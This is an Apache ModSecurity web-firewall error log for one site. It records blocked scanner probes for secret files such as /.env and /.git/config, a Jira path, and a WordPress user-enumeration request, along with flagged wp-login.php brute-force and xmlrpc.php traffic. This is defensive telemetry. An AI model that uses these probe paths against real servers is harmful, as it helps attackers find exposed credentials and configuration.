[Wed Nov 12 13:29:08.734601 2025] [:error] [pid 12744:tid 12761] [client 207.154.197.113:42830] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/login.action"] [unique_id "aRQbJJ1cp_ouUvkFj0XYDwAAAQ0"]
[Wed Nov 12 13:29:11.011203 2025] [:error] [pid 60096:tid 60138] [client 207.154.197.113:42846] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/.DS_Store"] [unique_id "aRQbJzmzkhCvvk8DXOxMmAAAAIw"]
[Wed Nov 12 13:29:11.742919 2025] [:error] [pid 12744:tid 12771] [client 207.154.197.113:42854] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aRQbJ51cp_ouUvkFj0XYFQAAARc"]
[Wed Nov 12 13:29:12.479675 2025] [:error] [pid 60180:tid 60183] [client 207.154.197.113:42860] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aRQbKFhgd7ccS8EZg1rjawAAAUE"]
[Wed Nov 12 13:29:13.269902 2025] [:error] [pid 60405:tid 60425] [client 207.154.197.113:42874] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aRQbKXMGv_mlVi6mf5qbgwAAABE"]
[Wed Nov 12 13:29:14.008236 2025] [:error] [pid 60405:tid 60415] [client 207.154.197.113:42882] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/config.json"] [unique_id "aRQbKnMGv_mlVi6mf5qbjAAAAAc"]
[Wed Nov 12 13:29:14.785960 2025] [:error] [pid 60405:tid 60408] [client 207.154.197.113:42890] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/telescope/requests"] [unique_id "aRQbKnMGv_mlVi6mf5qbkQAAAAA"]
[Wed Nov 12 13:29:15.513565 2025] [:error] [pid 12744:tid 12760] [client 207.154.197.113:42892] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "aRQbK51cp_ouUvkFj0XYHQAAAQw"]
[Wed Nov 12 13:29:16.246341 2025] [:error] [pid 60096:tid 60146] [client 207.154.197.113:42894] [client 207.154.197.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRQbLDmzkhCvvk8DXOxNJQAAAJE"]
[Wed Nov 12 13:33:21.514497 2025] [:error] [pid 60096:tid 60136] [client 190.92.169.39:51058] [client 190.92.169.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.92.169.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQcITmzkhCvvk8DXOxOZwAAAIo"]
[Wed Nov 12 13:38:54.047293 2025] [:error] [pid 60097:tid 60163] [client 172.245.102.84:45651] [client 172.245.102.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.84, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQdbsdT5oio_TbWpi8lawAAAMo"]
[Wed Nov 12 13:51:29.113806 2025] [:error] [pid 60095:tid 60100] [client 61.171.113.15:59680] [client 61.171.113.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.171.113.15, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQgYXlw2elroagFF1rphgAAAEE"]
[Wed Nov 12 13:53:52.063675 2025] [:error] [pid 60097:tid 60144] [client 37.140.223.230:49291] [client 37.140.223.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.230, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQg8MdT5oio_TbWpi8qTQAAAME"]
[Wed Nov 12 14:01:57.095273 2025] [:error] [pid 12744:tid 12750] [client 173.236.199.102:58176] [client 173.236.199.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.199.102, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQi1Z1cp_ouUvkFj0XnJAAAAQI"]
[Wed Nov 12 14:08:47.356377 2025] [:error] [pid 60095:tid 60118] [client 37.140.223.226:58769] [client 37.140.223.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.226, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQkb3lw2elroagFF1ruhwAAAFM"]
[Wed Nov 12 14:14:42.108744 2025] [:error] [pid 12744:tid 12762] [client 94.247.172.129:11550] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRQl0p1cp_ouUvkFj0XtUQAAAQ4"]
[Wed Nov 12 14:23:14.494232 2025] [:error] [pid 60096:tid 60153] [client 172.245.102.87:54447] [client 172.245.102.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.87, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQn0jmzkhCvvk8DXOxelAAAAJQ"]
[Wed Nov 12 14:27:15.025910 2025] [:error] [pid 60095:tid 60112] [client 157.66.46.84:47512] [client 157.66.46.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.66.46.84, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQow3lw2elroagFF1r0FwAAAE0"]
[Wed Nov 12 14:38:11.679425 2025] [:error] [pid 60097:tid 60177] [client 37.140.223.243:62491] [client 37.140.223.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.243, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQrU8dT5oio_TbWpi84WgAAANg"]
[Wed Nov 12 14:44:03.384754 2025] [:error] [pid 60405:tid 60414] [client 52.242.231.163:23430] [client 52.242.231.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.242.231.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQss3MGv_mlVi6mf5q1xwAAAAY"]
[Wed Nov 12 14:53:03.772328 2025] [:error] [pid 12744:tid 12769] [client 37.140.223.230:29085] [client 37.140.223.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.230, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQuz51cp_ouUvkFj0X-IAAAARU"]
[Wed Nov 12 15:04:40.360399 2025] [:error] [pid 60405:tid 60408] [client 103.109.180.104:35152] [client 103.109.180.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.109.180.104, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQxiHMGv_mlVi6mf5q8kAAAAAA"]
[Wed Nov 12 15:08:06.413065 2025] [:error] [pid 12744:tid 12750] [client 37.140.223.236:46181] [client 37.140.223.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQyVp1cp_ouUvkFj0UDhgAAAQI"]
[Wed Nov 12 15:23:13.040614 2025] [:error] [pid 12744:tid 12760] [client 37.140.223.240:44449] [client 37.140.223.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.240, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQ14Z1cp_ouUvkFj0UJEwAAAQw"]
[Wed Nov 12 15:26:58.716084 2025] [:error] [pid 12744:tid 12765] [client 78.188.229.245:60418] [client 78.188.229.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.188.229.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQ2wp1cp_ouUvkFj0UKrwAAARE"]
[Wed Nov 12 15:37:52.816226 2025] [:error] [pid 60405:tid 60427] [client 172.245.102.84:21409] [client 172.245.102.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.84, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQ5UHMGv_mlVi6mf5rEzgAAABM"]
[Wed Nov 12 15:52:51.717226 2025] [:error] [pid 12744:tid 12766] [client 37.140.223.221:38353] [client 37.140.223.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.221, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRQ8051cp_ouUvkFj0UWQgAAARI"]
[Wed Nov 12 15:58:19.279235 2025] [:error] [pid 12744:tid 12751] [client 5.189.169.82:48208] [client 5.189.169.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.169.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQ-G51cp_ouUvkFj0UZ3gAAAQM"]
[Wed Nov 12 16:07:18.423313 2025] [:error] [pid 60405:tid 60408] [client 103.185.74.28:20008] [client 103.185.74.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.185.74.28, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRANnMGv_mlVi6mf5rORQAAAAA"]
[Wed Nov 12 16:07:34.572268 2025] [:error] [pid 60095:tid 60121] [client 103.185.74.28:2718] [client 103.185.74.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.185.74.28, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRARnlw2elroagFF1oLOAAAAFY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 16:07:54.480778 2025] [:error] [pid 12744:tid 12752] [client 37.140.223.220:55441] [client 37.140.223.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.220, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRAWp1cp_ouUvkFj0Uc3QAAAQQ"]
[Wed Nov 12 16:17:20.986248 2025] [:error] [pid 60095:tid 60119] [client 179.61.137.20:50666] [client 179.61.137.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.61.137.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRCkHlw2elroagFF1oNUQAAAFQ"]
[Wed Nov 12 16:22:58.365257 2025] [:error] [pid 60180:tid 60191] [client 136.144.33.232:31125] [client 136.144.33.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.232, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRD4lhgd7ccS8EZg1oXeQAAAUk"]
[Wed Nov 12 16:24:19.019437 2025] [:error] [pid 60180:tid 60197] [client 92.205.29.137:34210] [client 92.205.29.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.29.137, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRREM1hgd7ccS8EZg1oX4QAAAU8"]
[Wed Nov 12 16:27:28.500459 2025] [:error] [pid 60097:tid 60170] [client 132.148.75.116:36262] [client 132.148.75.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.75.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRE8MdT5oio_TbWpi9TcQAAANE"]
[Wed Nov 12 16:37:59.594204 2025] [:error] [pid 12744:tid 12756] [client 37.140.223.234:37093] [client 37.140.223.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.234, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRHZ51cp_ouUvkFj0UoMwAAAQg"]
[Wed Nov 12 16:42:48.546225 2025] [:error] [pid 60405:tid 60429] [client 209.38.90.234:49300] [client 209.38.90.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.90.234, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRIiHMGv_mlVi6mf5rYjQAAABU"]
[Wed Nov 12 16:43:21.013421 2025] [:error] [pid 60405:tid 60415] [client 209.38.90.234:48990] [client 209.38.90.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.90.234, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRIqXMGv_mlVi6mf5rY1QAAAAc"]
[Wed Nov 12 16:48:09.549605 2025] [:error] [pid 60096:tid 60130] [client 161.97.170.156:58844] [client 161.97.170.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.170.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRJyTmzkhCvvk8DXOyEAwAAAIQ"]
[Wed Nov 12 16:53:15.245349 2025] [:error] [pid 60180:tid 60189] [client 172.245.102.87:23989] [client 172.245.102.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.87, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRK-1hgd7ccS8EZg1oikQAAAUc"]
[Wed Nov 12 17:05:41.775941 2025] [:error] [pid 60096:tid 60157] [client 154.159.238.4:22580] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRN5TmzkhCvvk8DXOyIwwAAAJc"]
[Wed Nov 12 17:07:55.577289 2025] [:error] [pid 60180:tid 60182] [client 167.172.159.207:60108] [client 167.172.159.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.159.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRROa1hgd7ccS8EZg1omgQAAAUA"]
[Wed Nov 12 17:08:18.718164 2025] [:error] [pid 12744:tid 12762] [client 136.144.33.1:34173] [client 136.144.33.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRROgp1cp_ouUvkFj0U3fQAAAQ4"]
[Wed Nov 12 17:08:57.162338 2025] [:error] [pid 12744:tid 12754] [client 154.159.238.4:22888] [client 154.159.238.4] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aRROqZ1cp_ouUvkFj0U3wwAAAQY"]
[Wed Nov 12 17:10:42.652359 2025] [:error] [pid 60095:tid 60105] [client 154.159.238.4:26414] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRPEnlw2elroagFF1obsAAAAEY"]
[Wed Nov 12 17:12:11.835729 2025] [:error] [pid 60096:tid 60140] [client 154.159.238.4:24574] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRPazmzkhCvvk8DXOyJ3wAAAI0"]
[Wed Nov 12 17:13:38.870789 2025] [:error] [pid 60097:tid 60166] [client 154.159.238.4:20380] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRPwsdT5oio_TbWpi9iZAAAAM0"]
[Wed Nov 12 17:15:04.973932 2025] [:error] [pid 60097:tid 60167] [client 154.159.238.4:18312] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRQGMdT5oio_TbWpi9itQAAAM4"]
[Wed Nov 12 17:16:29.950146 2025] [:error] [pid 60095:tid 60111] [client 154.159.238.4:12451] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRQbXlw2elroagFF1oc-gAAAEw"]
[Wed Nov 12 17:17:58.262328 2025] [:error] [pid 60095:tid 60113] [client 154.159.238.4:7212] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRQxnlw2elroagFF1odYwAAAE4"]
[Wed Nov 12 17:19:23.579260 2025] [:error] [pid 60096:tid 60131] [client 154.159.238.4:30245] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRRGzmzkhCvvk8DXOyLeQAAAIU"]
[Wed Nov 12 17:20:53.361873 2025] [:error] [pid 60095:tid 60109] [client 154.159.238.4:22952] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRRdXlw2elroagFF1oeFwAAAEo"]
[Wed Nov 12 17:22:23.563566 2025] [:error] [pid 60096:tid 60143] [client 154.159.238.4:15445] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRRzzmzkhCvvk8DXOyMDgAAAI8"]
[Wed Nov 12 17:23:30.219821 2025] [:error] [pid 60097:tid 60167] [client 37.140.223.227:23059] [client 37.140.223.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.227, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRSEsdT5oio_TbWpi9kswAAAM4"]
[Wed Nov 12 17:23:39.209948 2025] [:error] [pid 12744:tid 12764] [client 154.159.238.4:4413] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRSG51cp_ouUvkFj0U9ggAAARA"]
[Wed Nov 12 17:24:53.322333 2025] [:error] [pid 60180:tid 60195] [client 154.159.238.4:24868] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRSZVhgd7ccS8EZg1oq1AAAAU0"]
